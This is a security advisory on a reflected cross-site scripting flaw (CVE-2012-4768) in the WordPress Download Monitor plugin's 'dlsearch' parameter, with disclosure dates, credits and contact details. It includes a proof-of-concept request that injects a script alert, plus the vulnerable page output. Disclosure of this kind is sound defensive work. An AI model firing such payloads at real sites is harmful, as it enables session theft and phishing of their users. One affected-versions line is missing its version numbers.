Wordpress Download Monitor - Download Page Cross-Site Scripting

From: Joseph Sheridan <joe@reactionis.com>
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Subject: Wordpress Download Monitor - Download Page Cross-Site Scripting

| Wordpress Download Monitor - Download Page Cross-Site Scripting |


Wordpress Download Monitor is subject to a cross-site scripting vulnerability. The 'dlsearch' parameter is not sufficiently 

sanitised before being written to pages including the '[download_page]' shortcode. An attacker could distribute a malicious URL as part 

of a phishing campaign. Users following the link would trigger this vulnerability which could potentially steal session cookies, 

redirect the user to a malicious URL or download malware onto their machine.

CVE number: CVE-2012-4768
Impact: Medium
Vendor homepage: http://mikejolley.com/
Vendor notified: 30/08/2012
Vendor fixed: 30/08/2012
Credit: Chris Cooper and Joseph Sheridan of ReactionIS

This advisory is posted at:


Affected Products
======== ========

Confirmed in Wordpress Download Monitor Versions prior to may also be affected.

The 'dlsearch' parameter, written to any page/post including the '[download_page]' shortcode, was found to be subject to a cross-site 

scripting vulnerability. It was possible to inject arbitrary Javascript code into the parameter which is passed into the page content 

without sanitisation. 

Injecting the following Javascript code will trigger the vulnerability, causing the page to return a Javascript alert box:


Example Request:

GET /wp/?dlsearch="><script>alert('xsstest')</script> HTTP/1.1

Example Response:

--- SNIP ---
<form id="download-page-search" action="" method="post">
<p><label for="dlsearch">Search Downloads:</label> <input type="text" name="dlsearch" id="dlsearch" value=""><script>alert('xsstest')

</script>" /><input class="search_submit" type="submit" value="Go" /><input type="hidden" name="page_id" value="2" 

/></p></form><h3>Results found for <em>""><script>alert('xsstest')</script>"</em> <small><a 

--- SNIP ---


An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing 

session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.


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* bugtraq () securityfocus com
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Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on 

mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:



Reaction Information Security 
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Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk

Joseph Sheridan
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP
Tel: 07812052515
Web: www.reactionis.com
Email: joe@reactionis.co.uk

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